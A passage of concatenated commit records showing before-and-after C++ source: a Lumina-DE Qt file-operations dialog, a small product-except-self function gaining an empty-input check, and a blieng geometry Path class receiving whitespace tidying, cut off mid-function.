%2\")).arg(ofiles[i].section(\"\/\",-1), nfiles[i].section(\"\/\",-1)) );\n QApplication::processEvents();*\/\n emit startingItem(i+1,olist.length(), olist[i], nlist[i]);\n \/\/Clean up any overwritten files\/dirs\n if(QFile::exists(nlist[i])){\n\tif(overwrite){\n\t errlist << removeItem(nlist[i], true); \/\/recursively remove the file\/dir since we are supposed to overwrite it\n\t}\n }\n \/\/Perform the move if no error yet (including skipping all children)\n if( !errlist.contains(olist[i].section(\"\/\",0,-1)) ){ \n if( !QFile::rename(ofiles[i], nfiles[i]) ){\n errlist << ofiles[i];\n }\n }\t\n }\n \/\/ui->progressBar->setValue(i+1);\n \/\/QApplication::processEvents();\n }\n \/\/All finished, emit the signal\n errlist.removeAll(\"\"); \/\/make sure to clear any empty items\n emit finished(errlist);\n}\n<commit_msg>Actually move the file\/dir copy onto itself check earlier in the procedure, that way we can't run into the situation where the dir is removed because of the conflicting destination.<commit_after>\/\/===========================================\n\/\/ Lumina-DE source code\n\/\/ Copyright (c) 2014, Ken Moore\n\/\/ Available under the 3-clause BSD license\n\/\/ See the LICENSE file for full details\n\/\/===========================================\n#include \"FODialog.h\"\n#include \"ui_FODialog.h\"\n\n#include <QApplication>\n#include <QFontMetrics>\n\nFODialog::FODialog(QWidget *parent) : QDialog(parent), ui(new Ui::FODialog){\n ui->setupUi(this); \/\/load the designer file\n ui->label->setText(tr(\"Calculating\"));\n ui->progressBar->setVisible(false);\n ui->push_stop->setIcon( LXDG::findIcon(\"edit-delete\",\"\") );\n WorkThread = new QThread();\n Worker = new FOWorker();\n connect(Worker, SIGNAL(startingItem(int,int,QString,QString)), this, SLOT(UpdateItem(int,int,QString,QString)) );\n connect(Worker, SIGNAL(finished(QStringList)), this, SLOT(WorkDone(QStringList)) );\n Worker->moveToThread(WorkThread);\n WorkThread->start();\n\t\n \/\/Make sure this dialog is centered on the parent\n if(parent!=0){\n QPoint ctr = parent->geometry().center();\n this->move( ctr.x()-(this->width()\/2), ctr.y()-(this->height()\/2) );\n }\n this->show();\n}\n\nFODialog::~FODialog(){\n Worker->stopped = true; \/\/just in case it might still be running when closed\n WorkThread->quit();\n WorkThread->wait();\n delete Worker;\n \/\/delete WorkThread;\n}\n\nvoid FODialog::setOverwrite(bool ovw){\n if(ovw){ Worker->overwrite = 1; }\n else{ Worker->overwrite = 0; }\n}\n\n\/\/Public \"start\" functions\nvoid FODialog::RemoveFiles(QStringList paths){\n Worker->ofiles = paths;\n Worker->isRM = true;\n if(CheckOverwrite()){\n QTimer::singleShot(10,Worker, SLOT(slotStartOperations()));\n }else{\n this->close();\n }\n}\n\nvoid FODialog::CopyFiles(QStringList oldPaths, QStringList newPaths){ \t \n \/\/same permissions as old files\n if(oldPaths.length() == newPaths.length()){\n Worker->ofiles = oldPaths; \n Worker->nfiles = newPaths;\n }\n Worker->isCP=true;\n if(CheckOverwrite()){\n QTimer::singleShot(10,Worker, SLOT(slotStartOperations()));\n }else{\n this->close();\n }\n}\n\nvoid FODialog::RestoreFiles(QStringList oldPaths, QStringList newPaths){\n \/\/user\/group rw permissions\n if(oldPaths.length() == newPaths.length()){\n Worker->ofiles = oldPaths; \n Worker->nfiles = newPaths;\n }\n Worker->isRESTORE = true;\n if(CheckOverwrite()){\n QTimer::singleShot(10,Worker, SLOT(slotStartOperations()));\n }else{\n this->close();\n }\n}\n\nvoid FODialog::MoveFiles(QStringList oldPaths, QStringList newPaths){\n \/\/no change in permissions\n if(oldPaths.length() == newPaths.length()){\n Worker->ofiles = oldPaths; \\\n Worker->nfiles = newPaths;\n }\n Worker->isMV=true;\n if(CheckOverwrite()){\n QTimer::singleShot(10,Worker, SLOT(slotStartOperations()));\n }else{\n this->close();\n }\n}\n\nbool FODialog::CheckOverwrite(){\n bool ok = true;\n if(!Worker->isRM && Worker->overwrite==-1){\n \/\/Check if the new files already exist, and prompt for action\n QStringList existing;\n for(int i=0; i<Worker->nfiles.length(); i++){\n if(QFile::exists(Worker->nfiles[i])){ existing << Worker->nfiles[i].section(\"\/\",-1); }\n }\n if(!existing.isEmpty()){\n \/\/Prompt for whether to overwrite, not overwrite, or cancel\n QMessageBox::StandardButton ans = QMessageBox::question(this, tr(\"Overwrite Files?\"), tr(\"Do you want to overwrite the existing files?\")+\"\\n\"+tr(\"Note: It will just add a number to the filename otherwise.\")+\"\\n\\n\"+existing.join(\", \"), QMessageBox::YesToAll | QMessageBox::NoToAll | QMessageBox::Cancel, QMessageBox::NoToAll);\n if(ans==QMessageBox::NoToAll){ Worker->overwrite = 0; } \/\/don't overwrite\n else if(ans==QMessageBox::YesToAll){ Worker->overwrite = 1; } \/\/overwrite\n else{ ok = false; } \/\/cancel operations\n }\n }\n QApplication::processEvents();\n QApplication::processEvents();\n return ok;\n}\n\nvoid FODialog::UpdateItem(int cur, int tot, QString oitem, QString nitem){\n ui->progressBar->setRange(0,tot);\n ui->progressBar->setValue(cur);\n ui->progressBar->setVisible(true);\n QString msg;\n if(Worker->isRM){ msg = tr(\"Removing: %1\"); }\n else if(Worker->isCP){ msg = tr(\"Copying: %1 to %2\"); }\n else if(Worker->isRESTORE){ msg = tr(\"Restoring: %1 as %2\"); }\n else if(Worker->isMV){ msg = tr(\"Moving: %1 to %2\"); }\n if(msg.contains(\"%2\")){\n msg = msg.arg(oitem.section(\"\/\",-1), nitem.section(\"\/\",-1));\n }else{\n msg = msg.arg(oitem.section(\"\/\",-1));\n }\n msg = ui->label->fontMetrics().elidedText(msg, Qt::ElideRight, ui->label->width());\n ui->label->setText( msg );\n}\n\nvoid FODialog::WorkDone(QStringList errlist){\n if(!errlist.isEmpty()){\n QString msg;\n if(Worker->isRM){ msg = tr(\"Could not remove these files:\"); }\n else if(Worker->isCP){ msg = tr(\"Could not copy these files:\"); }\n else if(Worker->isRESTORE){ msg = tr(\"Could not restore these files:\"); }\n else if(Worker->isMV){ msg = tr(\"Could not move these files:\"); }\n QMessageBox::warning(this, tr(\"File Errors\"), msg+\"\\n\\n\"+errlist.join(\"\\n\"));\n }\n noerrors = errlist.isEmpty();\n this->close();\n}\n\nvoid FODialog::on_push_stop_clicked(){\n Worker->stopped = true;\n}\n\n\/\/ ===================\n\/\/ ==== FOWorker Class ====\n\/\/ ===================\nQStringList FOWorker::subfiles(QString dirpath, bool dirsfirst){\n \/\/NOTE: dirpath (input) is always the first\/last item in the output as well!\n QStringList out;\n if(dirsfirst){ out << dirpath; }\n if( QFileInfo(dirpath).isDir() ){\n QDir dir(dirpath);\n if(dirsfirst){\n \/\/Now recursively add any subdirectories and their contents\n QStringList subdirs = dir.entryList(QDir::Dirs | QDir::NoDotAndDotDot | QDir::Hidden, QDir::NoSort);\n for(int i=0; i<subdirs.length(); i++){ out << subfiles(dir.absoluteFilePath(subdirs[i]), dirsfirst); }\n }\n \/\/List the files\n QStringList files = dir.entryList(QDir::Files | QDir::NoDotAndDotDot | QDir::Hidden, QDir::NoSort);\n for(int i=0; i<files.length(); i++){ out << dir.absoluteFilePath(files[i]); }\n \n if(!dirsfirst){\n \/\/Now recursively add any subdirectories and their contents\n QStringList subdirs = dir.entryList(QDir::Dirs | QDir::NoDotAndDotDot | QDir::Hidden, QDir::NoSort);\n for(int i=0; i<subdirs.length(); i++){ out << subfiles(dir.absoluteFilePath(subdirs[i]), dirsfirst); }\n }\n }\n if(!dirsfirst){ out << dirpath; }\n return out;\n}\n\nQString FOWorker::newFileName(QString path){\n int num=1;\n QString extension = path.section(\"\/\",-1).section(\".\",-1);\n if( path.section(\"\/\",-1) == \".\"+extension || extension ==path.section(\"\/\",-1) ){ extension.clear(); } \/\/just a hidden file without extension or directory\n if(!extension.isEmpty() ){ \n extension.prepend(\".\"); \n path.chop(extension.length());\n }\n while( QFile::exists(path+\"-\"+QString::number(num)+extension) ){ num++; }\n return QString(path+\"-\"+QString::number(num)+extension);\n}\n\nQStringList FOWorker::removeItem(QString path, bool recursive){\n \/\/qDebug() << \"Remove Path:\" << path;\n QStringList items;\n if(recursive){ items = subfiles(path,false); }\n else{ items << path; } \/\/only the given path\n \/\/qDebug() << \" - Subfiles:\" << items;\n QStringList err;\t\n for(int i=0; i<items.length(); i++){\n if(QFileInfo(items[i]).isDir()){\n if(items[i]==path){\n \/\/Current Directory Removal\n QDir dir;\n if( !dir.rmdir(items[i]) ){ err << items[i]; }\t\t \n }else{\n \/\/Recursive Directory Removal\n err << removeItem(items[i], recursive);\t \n }\n }else{\n \/\/Simple File Removal\n if( !QFile::remove(items[i]) ){ err << items[i]; }\t \n }\n }\n return err;\n}\n\nQStringList FOWorker::copyItem(QString oldpath, QString newpath){\n QStringList err;\n if(oldpath == newpath){ return err; } \/\/copy something onto itself - just skip it \n if(QFileInfo(oldpath).isDir()){\n \/\/Create a new directory with the same name (no way to copy dir+contents)\n QDir dir;\n if( !dir.mkpath(newpath) ){ err << oldpath; }\n }else{\n \/\/Copy the file and reset permissions as necessary\n if( !QFile::copy(oldpath, newpath) ){ err << oldpath; }\n else{\n if(isCP){\n\tQFile::setPermissions(newpath, QFile::permissions(oldpath));\n\t\/\/Nothing special for copies at the moment (might be something we run into later)\n }else if(isRESTORE){\n\tQFile::setPermissions(newpath, QFile::permissions(oldpath));\n\t\/\/Nothing special for restores at the moment (might be something we run into later)\n }\n }\n }\n return err;\n}\n\n\/\/ ==== PRIVATE SLOTS ====\nvoid FOWorker::slotStartOperations(){\n \/\/qDebug() << \"Start File operations\" << isRM << isCP << isMV << ofiles << nfiles;\n \/\/Now setup the UI\n \/*ui->progressBar->setRange(0,ofiles.length());\n ui->progressBar->setValue(0);\n ui->progressBar->setVisible(true);\n QApplication::processEvents();*\/\n \/*if(!isRM && overwrite==-1){\n \/\/Check if the new files already exist, and prompt for action\n QStringList existing;\n for(int i=0; i<nfiles.length(); i++){\n if(QFile::exists(nfiles[i])){ existing << nfiles[i].section(\"\/\",-1); }\n }\n if(!existing.isEmpty()){\n \/\/Prompt for whether to overwrite, not overwrite, or cancel\n QMessageBox::StandardButton ans = QMessageBox::question(this, tr(\"Overwrite Files?\"), tr(\"Do you want to overwrite the existing files?\")+\"\\n\"+tr(\"Note: It will just add a number to the filename otherwise.\")+\"\\n\\n\"+existing.join(\", \"), QMessageBox::YesToAll | QMessageBox::NoToAll | QMessageBox::Cancel, QMessageBox::NoToAll);\n if(ans==QMessageBox::NoToAll){ overwrite = 0; } \/\/don't overwrite\n else if(ans==QMessageBox::YesToAll){ overwrite = 1; } \/\/overwrite\n else{ emit finished(QStringList()); return; } \/\/cancel operations\n }\n }*\/\n\t\n \/\/Get the complete number of items to be operated on (better tracking)\n QStringList olist, nlist; \/\/old\/new list to actually be used (not inputs - modified\/added as necessary)\n for(int i=0; i<ofiles.length() && !stopped; i++){\n if(isRM){ \/\/only old files\n olist << subfiles(ofiles[i], false); \/\/dirs need to be last for removals\n }else if(isCP || isRESTORE){\n if(nfiles[i] == ofiles[i]){\n\t\/\/Trying to copy a file\/dir to itself - skip it\n\tcontinue;\n }\n if(QFile::exists(nfiles[i])){\n\tif(!overwrite){\n\t nfiles[i] = newFileName(nfiles[i]); \/\/prompt for new file name up front before anything starts\n\t}\n }\n QStringList subs = subfiles(ofiles[i], true); \/\/dirs need to be first for additions\n for(int s=0; s<subs.length(); s++){\n olist << subs[s];\n\tQString newsub = subs[s].section(ofiles[i],0,100, QString::SectionSkipEmpty); \n\t newsub.prepend(nfiles[i]);\n\tnlist << newsub;\n }\n }else{ \/\/Move\/rename\n if( nfiles[i].startsWith(ofiles[i]+\"\/\") ){\n\t\/\/This is trying to move a directory into itself (not possible)\n\t\/\/ Example: move \"~\/mydir\" -> \"~\/mydir\/mydir2\"\n\tQStringList err; err << tr(\"Invalid Move\") << QString(tr(\"It is not possible to move a directory into itself. Please make a copy of the directory instead.\\n\\nOld Location: %1\\nNew Location: %2\")).arg(ofiles[i], nfiles[i]);\n\temit finished(err); return;\n }else{\n\t\/\/Check for existance of the new name\n\tif(QFile::exists(nfiles[i])){\n\t if(!overwrite){\n\t nfiles[i] = newFileName(nfiles[i]); \/\/prompt for new file name up front before anything starts\n\t }\n }\n\t\/\/no changes necessary\n olist << ofiles[i];\n nlist << nfiles[i];\n }\n }\n }\n \/\/Now start iterating over the operations\n QStringList errlist;\n for(int i=0; i<olist.length() && !stopped; i++){\n if(isRM){\n \/*ui->label->setText( QString(tr(\"Removing: %1\")).arg(olist[i].section(\"\/\",-1)) );\n QApplication::processEvents();*\/\n emit startingItem(i+1,olist.length(), olist[i], \"\");\n errlist << removeItem(olist[i]);\n }else if(isCP || isRESTORE){\n \/*ui->label->setText( QString(tr(\"Copying: %1 to %2\")).arg(olist[i].section(\"\/\",-1), nlist[i].section(\"\/\",-1)) );\n QApplication::processEvents();*\/\n emit startingItem(i+1,olist.length(), olist[i],nlist[i]);\n if(QFile::exists(nlist[i])){\n\tif(overwrite){\n\t errlist << removeItem(nlist[i], true); \/\/recursively remove the file\/dir since we are supposed to overwrite it\n\t}\n }\n \/\/If a parent directory fails to copy, skip all the children as well (they will also fail)\n \/\/QApplication::processEvents();\n if( !errlist.contains(olist[i].section(\"\/\",0,-1)) ){ \n errlist << copyItem(olist[i], nlist[i]);\n }\n }else if(isMV){\n \/*ui->label->setText( QString(tr(\"Moving: %1 to %2\")).arg(ofiles[i].section(\"\/\",-1), nfiles[i].section(\"\/\",-1)) );\n QApplication::processEvents();*\/\n emit startingItem(i+1,olist.length(), olist[i], nlist[i]);\n \/\/Clean up any overwritten files\/dirs\n if(QFile::exists(nlist[i])){\n\tif(overwrite){\n\t errlist << removeItem(nlist[i], true); \/\/recursively remove the file\/dir since we are supposed to overwrite it\n\t}\n }\n \/\/Perform the move if no error yet (including skipping all children)\n if( !errlist.contains(olist[i].section(\"\/\",0,-1)) ){ \n if( !QFile::rename(ofiles[i], nfiles[i]) ){\n errlist << ofiles[i];\n }\n }\t\n }\n \/\/ui->progressBar->setValue(i+1);\n \/\/QApplication::processEvents();\n }\n \/\/All finished, emit the signal\n errlist.removeAll(\"\"); \/\/make sure to clear any empty items\n emit finished(errlist);\n}\n<|endoftext|>"} {"text":"<commit_before>#include <algorithm>\n#include <iterator>\n#include <vector>\n\n\/\/ Algorithm to be tested\n\nstd::vector<int> product_except_impl(std::vector<int> data)\n{\n \/\/ [i] = product data[0..i[\n std::vector<int> prod_upto = {1};\n std::copy(data.begin(), data.end() -1, std::back_inserter(prod_upto));\n std::transform(prod_upto.begin(), prod_upto.end() -1\n , prod_upto.begin() +1\n , prod_upto.begin() +1\n , [](auto prod, auto cur) { return prod * cur; });\n\n \/\/ [size-i-1] = product data]i..size-1]\n std::vector<int> prod_from_rev = {1};\n std::copy(data.rbegin(), data.rend() -1, std::back_inserter(prod_from_rev));\n std::transform(prod_from_rev.begin(), prod_from_rev.end() -1\n , prod_from_rev.begin() +1\n , prod_from_rev.begin() +1\n , [](auto prod, auto cur) { return prod * cur; });\n\n for (std::size_t i {} ; i != data.size() ; ++i)\n {\n data[i] = prod_upto[i] * prod_from_rev[prod_from_rev.size()-i-1];\n }\n return data;\n}\n\nstd::vector<int> product_except(std::vector<int> const& data)\n{\n return product_except_impl(data);\n}\n\n#include \"tests.hpp\"\n\n<commit_msg>[visual studio][product-except-self] Fix test failure<commit_after>#include <algorithm>\n#include <iterator>\n#include <vector>\n\n\/\/ Algorithm to be tested\n\nstd::vector<int> product_except_impl(std::vector<int> data)\n{\n if (data.empty())\n {\n return {};\n }\n\n \/\/ [i] = product data[0..i[\n std::vector<int> prod_upto = {1};\n std::copy(data.begin(), data.end() -1, std::back_inserter(prod_upto));\n std::transform(prod_upto.begin(), prod_upto.end() -1\n , prod_upto.begin() +1\n , prod_upto.begin() +1\n , [](auto prod, auto cur) { return prod * cur; });\n\n \/\/ [size-i-1] = product data]i..size-1]\n std::vector<int> prod_from_rev = {1};\n std::copy(data.rbegin(), data.rend() -1, std::back_inserter(prod_from_rev));\n std::transform(prod_from_rev.begin(), prod_from_rev.end() -1\n , prod_from_rev.begin() +1\n , prod_from_rev.begin() +1\n , [](auto prod, auto cur) { return prod * cur; });\n\n for (std::size_t i {} ; i != data.size() ; ++i)\n {\n data[i] = prod_upto[i] * prod_from_rev[prod_from_rev.size()-i-1];\n }\n return data;\n}\n\nstd::vector<int> product_except(std::vector<int> const& data)\n{\n return product_except_impl(data);\n}\n\n#include \"tests.hpp\"\n\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright 2014 Blistud:io\n *\/\n\n#include \"blieng\/path.h\"\n\n#include <algorithm>\n#include <iostream>\n#include <string>\n#include <vector>\n#include <cmath>\n\n#ifndef M_PI\n#define M_PI 3.14159\n#endif\n\nusing blieng::Path;\n\nPath::Path()\n{\n}\n\nPath::~Path()\n{\n}\n\nstd::string Path::toString() const\n{\n std::string res = \"\";\n\n bool first = true;\n for (blieng::Point pt : points) {\n if (!first) res += \";\";\n first = false;\n res += pt.toString();\n }\n return res;\n}\n\nvoid Path::addPoint(Point pt)\n{\n points.push_back(pt);\n}\n\nint Path::getPointIndex(Point point)\n{\n int index = 0;\n for (blieng::Point pt : points) {\n if (point == pt) return index;\n ++index;\n }\n return -1;\n}\n\nblieng::Point Path::getPointAt(unsigned int index)\n{\n if (index >=0 && index < size()) {\n return points[index];\n }\n return Point();\n}\n\nvoid Path::updatePointAt(unsigned int index, Point new_point)\n{\n if (index >= points.size()) return;\n\n points[index] = new_point;\n}\n\nvoid Path::updatePoint(Point point, Point new_point)\n{\n auto pi = points.begin();\n while (pi != points.end()) {\n if ((*pi) == point) {\n (*pi).update(new_point);\n }\n ++pi;\n }\n}\n\nvoid Path::append(Path another)\n{\n points.insert(points.end(), another.points.begin(), another.points.end());\n}\n\nPath Path::combine(Path another) const\n{\n Path newpath;\n newpath.append(*this);\n newpath.append(another);\n\n return newpath;\n}\n\n\nblieng::Point Path::takeFirst()\n{\n if (points.empty())\n return blieng::Point(false);\n\n blieng::Point res = points.front();\n points.erase(points.begin());\n return res;\n}\n\nblieng::Point Path::takeLast()\n{\n if (points.empty())\n return blieng::Point(false);\n\n blieng::Point res = points.back();\n points.erase(points.end());\n return res;\n}\n\nblieng::Point Path::getStart()\n{\n if (points.empty())\n return blieng::Point(false);\n\n return points.front();\n}\n\nbool Path::isValid()\n{\n return !points.empty();\n}\n\nblieng::Point Path::getEnd()\n{\n if (points.empty())\n return blieng::Point(false);\n\n return points.back();\n}\n\nvoid Path::reverse()\n{\n std::reverse(points.begin(), points.end());\n}\n\nPath Path::copy() const\n{\n Path newpath;\n for (blieng::Point pt : points) {\n newpath.addPoint(pt);\n }\n\n return newpath;\n}\n\nPath Path::reversed() const\n{\n Path rev_path = this->copy();\n rev_path.reverse();\n return rev_path;\n}\n\ndouble Path::length() const\n{\n double len = 0.0;\n\n blieng::Point f(false);\n for (blieng::Point pt : points) {\n if (f.isValid() && pt != f) {\n len += f.length(pt);\n }\n f = pt;\n }\n\n return len;\n}\n\ndouble Path::lengthGeo() const\n{\n double len = 0.0;\n\n blieng::Point f(false);\n for (blieng::Point pt : points) {\n if (f.isValid() && pt != f) {\n len += f.lengthGeo(pt);\n }\n f = pt;\n }\n\n return len;\n}\n\ndouble Path::simpleArea() const\n{\n double res = 0;\n blieng::Point f(false);\n for (blieng::Point pt : points) {\n if (f.isValid() && pt != f) {\n res += f.x * pt.y - f.y * pt.x;\n }\n f = pt;\n }\n\n return fabs(res) \/ 2.0;\n}\n\ntemplate<typename T> std::vector<blieng::Complex> cmplxI(std::pair<blieng::Complex,blieng::Complex> s, T a, blieng::Complex b=blieng::Complex(0,1))\n{\n std::vector<blieng::Complex> res;\n blieng::Complex c = s.first;\n blieng::Complex d = s.second;\n\n d = d - c;\n c = c - a;\n\n double e = (d * b.conjugate()).imag();\n double e2 = e * e;\n if (! (e * (0 <= e2 && e2 <= e*e))) {\n return res;\n }\n\n double t2 = (d * c.conjugate()).imag();\n blieng::Complex t3 = b \/ e;\n blieng::Complex t4 = t3 * t2;\n\n double v = e * (b * c.conjugate()).imag();\n if (e * (0 <= v && v <= e2)) {\n res.push_back(t4 + a);\n }\n return res;\n}\n\ntemplate<typename T> std::vector<std::pair<T,T>> expandTypes(std::vector<T> inp)\n{\n std::vector<std::pair<T,T>> res;\n for (unsigned int i = 0; i < inp.size(); ++i) {\n T a = inp[i];\n T b;\n if (i == inp.size() - 1) {\n b = inp[0];\n } else {\n b = inp[i + 1];\n }\n res.push_back(std::pair<T,T>(a, b));\n }\n return res;\n}\n\ndouble complexArea(std::vector<blieng::Complex> inp)\n{\n auto P = expandTypes<blieng::Complex>(inp);\n std::vector<double> i_real;\n for (auto ab : P) {\n blieng::Complex a = ab.first;\n blieng::Complex b = ab.second;\n for (auto e : P) {\n for (auto i : cmplxI<blieng::Complex>(e, a, b-a)) {\n i_real.push_back(i.real());\n }\n }\n }\n std::sort(i_real.begin(), i_real.end());\n\n auto lr = expandTypes<double>(i_real);\n lr.pop_back();\n\n std::vector<std::pair<double,double>> bt;\n double ar = 0;\n for (auto tlr : lr) {\n std::vector<double> ij_imag;\n double l = tlr.first;\n double r = tlr.second;\n for (auto e : P) {\n for (auto i : cmplxI<double>(e, l)) {\n for (auto j : cmplxI<double>(e, r)) {\n ij_imag.push_back( ((i + j).conjugate()).imag() );\n }\n }\n }\n std::sort(ij_imag.begin(), ij_imag.end());\n auto ij_pairs = expandTypes<double>(ij_imag);\n bool tock = true;\n for (auto i : ij_pairs) {\n if (tock) {\n double b = i.first;\n double t = i.second;\n ar += (t-b) * (r - l) \/2;\n }\n tock ^= true;\n }\n }\n\n return ar;\n}\n\ndouble Path::area() const\n{\n std::vector<blieng::Complex> tmp;\n for (auto pt : points) {\n tmp.push_back(pt.toComplex());\n }\n return complexArea(tmp);\n}\n\ndouble Path::areaGeo() const\n{\n Path tmp;\n for (auto pt : points) {\n tmp.addPoint(pt.geoToMeters());\n }\n return tmp.area();\n}\n\nbool Path::operator==(const Path &other) const\n{\n size_t psize = points.size();\n if (other.points.size() != psize) return false;\n\n auto a = points.cbegin();\n auto b = other.points.begin();\n while (a != points.cend()) {\n if (*a != *b) return false;\n ++a;\n ++b;\n }\n\n return true;\n}\n\nbool Path::operator!=(const Path &other) const\n{\n return !(*this == other);\n}\n\nunsigned int Path::size() const\n{\n return points.size();\n}\n\ndouble Path::getPartAngle(unsigned int index) const\n{\n unsigned int prev = 0;\n if (index > 0) {\n prev = index - 1;\n } else {\n prev = points.size() - 1;\n }\n unsigned int next = index + 1;\n if (next > size()) {\n return 0.0;\n }\n if (next == size()) {\n next = 0;\n }\n\n if (prev < 0) {\n return 0.0;\n }\n Point p1 = points[index];\n Point p2 = points[next];\n Point p3 = points[prev];\n\n double a1 = p1.x - p2.x;\n double a2 = p1.y - p2.y;\n double b1 = p1.x - p3.x;\n double b2 = p1.y - p3.y;\n double c1 = p3.x - p2.x;\n double c2 = p3.y - p2.y;\n\n double p0c = sqrt(a1 * a1 + a2 * a2);\n double p1c = sqrt(b1 * b1 + b2 * b2);\n double p0p1 = sqrt(c1 * c1 + c2 * c2);\n double angle_rad = acos(\n (p1c * p1c + p0c * p0c - p0p1 * p0p1) \/\n (2 * p1c * p0c)\n );\n\n return angle_rad * 180 \/ M_PI;\n}\n<commit_msg>Tidy<commit_after>\/*\n * Copyright 2014 Blistud:io\n *\/\n\n#include \"blieng\/path.h\"\n\n#include <algorithm>\n#include <iostream>\n#include <string>\n#include <vector>\n#include <cmath>\n\n#ifndef M_PI\n#define M_PI 3.14159\n#endif\n\nusing blieng::Path;\n\nPath::Path()\n{\n}\n\nPath::~Path()\n{\n}\n\nstd::string Path::toString() const\n{\n std::string res = \"\";\n\n bool first = true;\n for (blieng::Point pt : points) {\n if (!first) res += \";\";\n first = false;\n res += pt.toString();\n }\n return res;\n}\n\nvoid Path::addPoint(Point pt)\n{\n points.push_back(pt);\n}\n\nint Path::getPointIndex(Point point)\n{\n int index = 0;\n for (blieng::Point pt : points) {\n if (point == pt) return index;\n ++index;\n }\n return -1;\n}\n\nblieng::Point Path::getPointAt(unsigned int index)\n{\n if (index >=0 && index < size()) {\n return points[index];\n }\n return Point();\n}\n\nvoid Path::updatePointAt(unsigned int index, Point new_point)\n{\n if (index >= points.size()) return;\n\n points[index] = new_point;\n}\n\nvoid Path::updatePoint(Point point, Point new_point)\n{\n auto pi = points.begin();\n while (pi != points.end()) {\n if ((*pi) == point) {\n (*pi).update(new_point);\n }\n ++pi;\n }\n}\n\nvoid Path::append(Path another)\n{\n points.insert(points.end(), another.points.begin(), another.points.end());\n}\n\nPath Path::combine(Path another) const\n{\n Path newpath;\n newpath.append(*this);\n newpath.append(another);\n\n return newpath;\n}\n\n\nblieng::Point Path::takeFirst()\n{\n if (points.empty())\n return blieng::Point(false);\n\n blieng::Point res = points.front();\n points.erase(points.begin());\n return res;\n}\n\nblieng::Point Path::takeLast()\n{\n if (points.empty())\n return blieng::Point(false);\n\n blieng::Point res = points.back();\n points.erase(points.end());\n return res;\n}\n\nblieng::Point Path::getStart()\n{\n if (points.empty())\n return blieng::Point(false);\n\n return points.front();\n}\n\nbool Path::isValid()\n{\n return !points.empty();\n}\n\nblieng::Point Path::getEnd()\n{\n if (points.empty())\n return blieng::Point(false);\n\n return points.back();\n}\n\nvoid Path::reverse()\n{\n std::reverse(points.begin(), points.end());\n}\n\nPath Path::copy() const\n{\n Path newpath;\n for (blieng::Point pt : points) {\n newpath.addPoint(pt);\n }\n\n return newpath;\n}\n\nPath Path::reversed() const\n{\n Path rev_path = this->copy();\n rev_path.reverse();\n return rev_path;\n}\n\ndouble Path::length() const\n{\n double len = 0.0;\n\n blieng::Point f(false);\n for (blieng::Point pt : points) {\n if (f.isValid() && pt != f) {\n len += f.length(pt);\n }\n f = pt;\n }\n\n return len;\n}\n\ndouble Path::lengthGeo() const\n{\n double len = 0.0;\n\n blieng::Point f(false);\n for (blieng::Point pt : points) {\n if (f.isValid() && pt != f) {\n len += f.lengthGeo(pt);\n }\n f = pt;\n }\n\n return len;\n}\n\ndouble Path::simpleArea() const\n{\n double res = 0;\n blieng::Point f(false);\n for (blieng::Point pt : points) {\n if (f.isValid() && pt != f) {\n res += f.x * pt.y - f.y * pt.x;\n }\n f = pt;\n }\n\n return fabs(res) \/ 2.0;\n}\n\ntemplate<typename T> std::vector<blieng::Complex> cmplxI(std::pair<blieng::Complex,blieng::Complex> s, T a, blieng::Complex b=blieng::Complex(0,1))\n{\n std::vector<blieng::Complex> res;\n blieng::Complex c = s.first;\n blieng::Complex d = s.second;\n\n d = d - c;\n c = c - a;\n\n double e = (d * b.conjugate()).imag();\n double e2 = e * e;\n if (! (e * (0 <= e2 && e2 <= e*e))) {\n return res;\n }\n\n double t2 = (d * c.conjugate()).imag();\n blieng::Complex t3 = b \/ e;\n blieng::Complex t4 = t3 * t2;\n\n double v = e * (b * c.conjugate()).imag();\n if (e * (0 <= v && v <= e2)) {\n res.push_back(t4 + a);\n }\n return res;\n}\n\ntemplate<typename T> std::vector<std::pair<T,T>> expandTypes(std::vector<T> inp)\n{\n std::vector<std::pair<T,T>> res;\n for (unsigned int i = 0; i < inp.size(); ++i) {\n T a = inp[i];\n T b;\n if (i == inp.size() - 1) {\n b = inp[0];\n } else {\n b = inp[i + 1];\n }\n res.push_back(std::pair<T,T>(a, b));\n }\n return res;\n}\n\ndouble complexArea(std::vector<blieng::Complex> inp)\n{\n auto P = expandTypes<blieng::Complex>(inp);\n std::vector<double> i_real;\n for (auto ab : P) {\n blieng::Complex a = ab.first;\n blieng::Complex b = ab.second;\n for (auto e : P) {\n for (auto i : cmplxI<blieng::Complex>(e, a, b - a)) {\n i_real.push_back(i.real());\n }\n }\n }\n std::sort(i_real.begin(), i_real.end());\n\n auto lr = expandTypes<double>(i_real);\n lr.pop_back();\n\n std::vector<std::pair<double,double>> bt;\n double ar = 0;\n for (auto tlr : lr) {\n std::vector<double> ij_imag;\n double l = tlr.first;\n double r = tlr.second;\n for (auto e : P) {\n for (auto i : cmplxI<double>(e, l)) {\n for (auto j : cmplxI<double>(e, r)) {\n ij_imag.push_back(((i + j).conjugate()).imag());\n }\n }\n }\n std::sort(ij_imag.begin(), ij_imag.end());\n auto ij_pairs = expandTypes<double>(ij_imag);\n bool tock = true;\n for (auto i : ij_pairs) {\n if (tock) {\n double b = i.first;\n double t = i.second;\n ar += (t - b) * (r - l) \/ 2;\n }\n tock ^= true;\n }\n }\n\n return ar;\n}\n\ndouble Path::area() const\n{\n std::vector<blieng::Complex> tmp;\n for (auto pt : points) {\n tmp.push_back(pt.toComplex());\n }\n return complexArea(tmp);\n}\n\ndouble Path::areaGeo() const\n{\n Path tmp;\n for (auto pt : points) {\n tmp.addPoint(pt.geoToMeters());\n }\n return tmp.area();\n}\n\nbool Path::operator==(const Path &other) const\n{\n size_t psize = points.size();\n if (other.points.size() != psize) return false;\n\n auto a = points.cbegin();\n auto b = other.points.begin();\n while (a != points.cend()) {\n if (*a != *b) return false;\n ++a;\n ++b;\n }\n\n return true;\n}\n\nbool Path::operator!=(const Path &other) const\n{\n return !(*this == other);\n}\n\nunsigned int Path::size() const\n{\n return points.size();\n}\n\ndouble Path::getPartAngle(unsigned int index) const\n{\n unsigned int prev = 0;\n if (index > 0) {\n prev = index - 1;\n } else {\n prev = points.size() - 1;\n }\n unsigned int next = index + 1;\n if (next > size()) {\n return 0.0;\n }\n if (next == size()) {\n next = 0;\n }\n\n if (prev < 0) {\n return 0.0;\n }\n Point p1 = points[index];\n Point p2 = points[next];\n Point p3 = points[prev];\n\n double a1 = p1.x - p2.x;\n double a2 = p1.y - p2.y;\n double b1 = p1.x - p3.x;\n double b2 = p1.y - p3.y;\n double c1 = p3.x - p2.x;\n double c2 = p3.y - p2.y;\n\n double p0c = 